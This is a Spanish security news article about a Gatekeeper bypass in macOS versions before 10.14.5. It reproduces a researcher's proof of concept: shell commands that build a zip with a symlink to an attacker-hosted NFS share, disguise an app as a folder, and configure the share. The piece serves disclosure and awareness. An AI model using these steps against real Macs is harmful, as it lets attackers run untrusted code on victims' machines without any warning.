Salto de restricciones en MacOS X GateKeeperVersiones de MacOS X anteriores a la 10.14.5 permitirían saltar las restricciones impuestas por Gatekeeper y ejecutar código no confiable sin necesidad de establecer permisos adicionales o notificar al usuario.
Estás aquí: Inicio / Vulnerabilidades / Salto de restricciones en MacOS X GateKeeper
Salto de restricciones en MacOS X GateKeeper
27 mayo, 2019 Por Francisco Salido Deja un comentario
Versiones de MacOS X anteriores a la 10.14.5 permitirían saltar las restricciones impuestas por Gatekeeper y ejecutar código no confiable sin necesidad de establecer permisos adicionales o notificar al usuario.
Gatekeeper es un mecanismo desarrollado por Apple e incluido en su sistema operativo para dispositivos de escritorio. Gatekeeper garantiza la verificación de aplicaciones descargadas desde terceros y obliga a los desarrolladores a firmar el código, evitando así que aplicaciones potencialmente fraudulentas se ejecuten sin el consentimiento del usuario.
El investigador de seguridad Filippo Cavallarin ha publicado en su página web una prueba de concepto en la que hace una demostración de una vulnerabilidad que permitiría a un atacante saltar esta protección y ejecutar código no verificado.
En su diseño, Gatekeeper considera las unidades externas y las redes compartidas como direcciones seguras y permite la ejecución de cualquier aplicación contenida en ellas. De forma legítima, Gatekeeper implementa dos características que combinadas, permitirían configurar el ataque: el auto-montado de carpetas en red y la posibilidad de que ficheros zip contengan enlaces simbólicos que apunten a direcciones arbitrarias.
Así, se podría pensar el siguiente escenario: un atacante elabora un fichero zip que contiene un enlace simbólico a una dirección controlada por el atacante, por ejemplo: Documents -> /net/atacante.com/Documents y lo envía a la víctima.
De esta forma, se ejecutaría el archivo en control del atacante, sin que Gatekeeper lo impida ni tan siquiera lo notifique.
De forma detallada, Filippo Cavallarin lo explica en la PoC publicada en su web:
Creación de fichero zip con el enlace simbólico
mkdir Documents
ln -s /net/linux-vm.local/nfs/Documents Documents/Documents
zip -ry Documents.zip Documents
Creación de la aplicación con el código a ejecutar
cp -r /Applications/Calculator.app PDF.app
echo -e ‘#!/bin/bash'»\n»‘open /Applications/iTunes.app’ > PDF.app/Contents/MacOS/Calculator
chmod +x PDF.app/Contents/MacOS/Calculator
rm PDF.app/Contents/Resources/AppIcon.icns
ln -s /System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/GenericFolderIcon.icns PDF.app/Contents/Resources/AppIcon.icns
Creación de la carpeta de red donde irá la aplicación
ssh linux-vm.local
mkdir -p /nfs/Documents
echo ‘/nfs/Documents *(insecure,rw,no_root_squash,anonuid=1000,anongid=1000,async,nohide)’ >> /etc/exports
service nfs-kernel-server restart
scp -r mymac.local:PDF.app /nfs/Documents/
Alojamos el archivo zip en alguna localización remota, para que al descargarlo Gatekeeper lo ponga en «cuarentena».
A pesar de que Gatekeeper ha marcado el archivo para su comprobación, no se generará ninguna alerta y se ejecutará el código controlado por el atacante.
El fallo fue notificado el 22 de febrero de este año, sin embargo Apple todavía no ha publicado ningún parche oficial.
Más información:
MacOS X GateKeeper Bypass
https://www.fcvl.net/vulnerabilities/macosx-gatekeeper-bypass